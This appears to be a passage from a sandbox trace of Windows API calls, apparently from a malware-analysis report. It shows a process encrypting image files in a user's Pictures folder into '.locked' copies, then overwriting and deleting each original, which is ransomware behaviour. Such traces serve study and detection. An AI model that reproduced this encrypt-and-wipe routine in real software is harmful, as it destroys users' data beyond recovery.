	[0078.172] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png")) returned 1
	[0078.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36896660, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0x45410990, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x45410990, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0xc73e)) returned 1
	[0078.175] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.176] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.176] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.176] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0078.177] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0078.177] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0078.177] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.179] SetEvent (hEvent=0x78) returned 1
	[0078.179] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xc73e, lpOverlapped=0x0) returned 1
	[0078.181] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xc73e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xc73e, lpOverlapped=0x0) returned 1
	[0078.182] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.182] CloseHandle (hObject=0xc4) returned 1
	[0078.182] CloseHandle (hObject=0xc0) returned 1
	[0078.182] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.183] SetEvent (hEvent=0x78) returned 1
	[0078.183] SetEvent (hEvent=0x80) returned 1
	[0078.183] SetEvent (hEvent=0xb4) returned 1
	[0078.183] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.183] SetEvent (hEvent=0xa8) returned 1
	[0078.183] SetEvent (hEvent=0xb4) returned 1
	[0078.183] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x35) returned 1
	[0078.185] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif")) returned 1
	[0078.203] SetEvent (hEvent=0x80) returned 1
	[0078.207] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.208] SetEvent (hEvent=0x80) returned 1
	[0078.208] SetEvent (hEvent=0xb4) returned 1
	[0078.208] SetEvent (hEvent=0x78) returned 1
	[0078.208] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.208] SetEvent (hEvent=0x78) returned 1
	[0078.210] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.210] SetEvent (hEvent=0xa8) returned 1
	[0078.210] SetEvent (hEvent=0x78) returned 1
	[0078.210] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.211] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.211] SetEvent (hEvent=0x78) returned 1
	[0078.211] SetEvent (hEvent=0xb4) returned 1
	[0078.211] SetEvent (hEvent=0x80) returned 1
	[0078.211] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.212] SetEvent (hEvent=0xa8) returned 1
	[0078.212] SetEvent (hEvent=0x80) returned 1
	[0078.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.215] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.215] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.231] CloseHandle (hObject=0xc0) returned 1
	[0078.231] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4jWVp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4jwvp.gif")) returned 1
	[0078.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb967a60, ftCreationTime.dwHighDateTime=0x1d4c575, ftLastAccessTime.dwLowDateTime=0x4ff9cec0, ftLastAccessTime.dwHighDateTime=0x1d4c603, ftLastWriteTime.dwLowDateTime=0x4ff9cec0, ftLastWriteTime.dwHighDateTime=0x1d4c603, nFileSizeHigh=0x0, nFileSizeLow=0x3928)) returned 1
	[0078.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.235] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.235] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.235] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0078.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0078.236] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0078.236] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.238] SetEvent (hEvent=0xb4) returned 1
	[0078.238] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x3928, lpOverlapped=0x0) returned 1
	[0078.239] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x3928, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x3928, lpOverlapped=0x0) returned 1
	[0078.240] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.240] CloseHandle (hObject=0xc4) returned 1
	[0078.240] CloseHandle (hObject=0xc0) returned 1
	[0078.240] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.241] SetEvent (hEvent=0xb4) returned 1
	[0078.241] SetEvent (hEvent=0x80) returned 1
	[0078.241] SetEvent (hEvent=0x78) returned 1
	[0078.241] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.241] SetEvent (hEvent=0xa8) returned 1
	[0078.241] SetEvent (hEvent=0x78) returned 1
	[0078.241] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x44) returned 1
	[0078.243] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png")) returned 1
	[0078.261] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.261] SetEvent (hEvent=0xa8) returned 1
	[0078.261] SetEvent (hEvent=0x80) returned 1
	[0078.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.266] SetEvent (hEvent=0x80) returned 1
	[0078.266] SetEvent (hEvent=0x78) returned 1
	[0078.266] SetEvent (hEvent=0xb4) returned 1
	[0078.266] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.266] SetEvent (hEvent=0xb4) returned 1
	[0078.268] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.268] SetEvent (hEvent=0xb4) returned 1
	[0078.268] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.268] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.269] SetEvent (hEvent=0xb4) returned 1
	[0078.269] SetEvent (hEvent=0x78) returned 1
	[0078.269] SetEvent (hEvent=0x80) returned 1
	[0078.269] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.269] SetEvent (hEvent=0x80) returned 1
	[0078.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.270] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.270] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.299] CloseHandle (hObject=0xc0) returned 1
	[0078.299] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B6gEmxb7 -bT2FNBsDGR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b6gemxb7 -bt2fnbsdgr.png")) returned 1
	[0078.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc13c6f0, ftCreationTime.dwHighDateTime=0x1d4cea7, ftLastAccessTime.dwLowDateTime=0x201f1a70, ftLastAccessTime.dwHighDateTime=0x1d4c946, ftLastWriteTime.dwLowDateTime=0x201f1a70, ftLastWriteTime.dwHighDateTime=0x1d4c946, nFileSizeHigh=0x0, nFileSizeLow=0x16693)) returned 1
	[0078.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.302] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.303] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.303] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0078.303] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0078.303] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0078.303] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.306] SetEvent (hEvent=0x78) returned 1
	[0078.306] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x16693, lpOverlapped=0x0) returned 1
	[0078.308] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x16693, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x16693, lpOverlapped=0x0) returned 1
	[0078.310] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.310] CloseHandle (hObject=0xc4) returned 1
	[0078.310] CloseHandle (hObject=0xc0) returned 1
	[0078.310] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.311] SetEvent (hEvent=0x78) returned 1
	[0078.311] SetEvent (hEvent=0x80) returned 1
	[0078.311] SetEvent (hEvent=0xb4) returned 1
	[0078.311] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.311] SetEvent (hEvent=0xa8) returned 1
	[0078.311] SetEvent (hEvent=0xb4) returned 1
	[0078.311] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0078.316] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png")) returned 1
	[0078.334] SetEvent (hEvent=0x80) returned 1
	[0078.339] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.339] SetEvent (hEvent=0x80) returned 1
	[0078.339] SetEvent (hEvent=0xb4) returned 1
	[0078.339] SetEvent (hEvent=0x78) returned 1
	[0078.339] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.339] SetEvent (hEvent=0x78) returned 1
	[0078.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.341] SetEvent (hEvent=0x78) returned 1
	[0078.341] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.342] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.342] SetEvent (hEvent=0x78) returned 1
	[0078.342] SetEvent (hEvent=0xb4) returned 1
	[0078.342] SetEvent (hEvent=0x80) returned 1
	[0078.342] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.342] SetEvent (hEvent=0x80) returned 1
	[0078.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.343] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.344] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.367] CloseHandle (hObject=0xc0) returned 1
	[0078.367] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\B_yGnflRCJSfOV_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b_ygnflrcjsfov_.png")) returned 1
	[0078.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adc1dc0, ftCreationTime.dwHighDateTime=0x1d4d4d5, ftLastAccessTime.dwLowDateTime=0xee0353d0, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xee0353d0, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0xfe5c)) returned 1
	[0078.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.371] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.372] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.372] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0078.372] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0078.372] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0078.372] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.376] SetEvent (hEvent=0xb4) returned 1
	[0078.376] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xfe5c, lpOverlapped=0x0) returned 1
	[0078.378] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfe5c, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xfe5c, lpOverlapped=0x0) returned 1
	[0078.379] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.380] CloseHandle (hObject=0xc4) returned 1
	[0078.380] CloseHandle (hObject=0xc0) returned 1
	[0078.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.380] SetEvent (hEvent=0xb4) returned 1
	[0078.380] SetEvent (hEvent=0x80) returned 1
	[0078.380] SetEvent (hEvent=0x78) returned 1
	[0078.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.381] SetEvent (hEvent=0x78) returned 1
	[0078.381] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x42) returned 1
	[0078.382] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif")) returned 1
	[0078.401] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.408] SetEvent (hEvent=0xa8) returned 1
	[0078.408] SetEvent (hEvent=0x80) returned 1
	[0078.412] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.413] SetEvent (hEvent=0x80) returned 1
	[0078.413] SetEvent (hEvent=0x78) returned 1
	[0078.413] SetEvent (hEvent=0xb4) returned 1
	[0078.413] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.413] SetEvent (hEvent=0xb4) returned 1
	[0078.415] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.415] SetEvent (hEvent=0xb4) returned 1
	[0078.416] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.416] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.416] SetEvent (hEvent=0xb4) returned 1
	[0078.416] SetEvent (hEvent=0x78) returned 1
	[0078.416] SetEvent (hEvent=0x80) returned 1
	[0078.416] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.416] SetEvent (hEvent=0x80) returned 1
	[0078.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.421] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.421] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.441] CloseHandle (hObject=0xc0) returned 1
	[0078.441] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DRmvvGudh4J0VSMYPm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\drmvvgudh4j0vsmypm.gif")) returned 1
	[0078.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7784de90, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x4735c0a0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x4735c0a0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
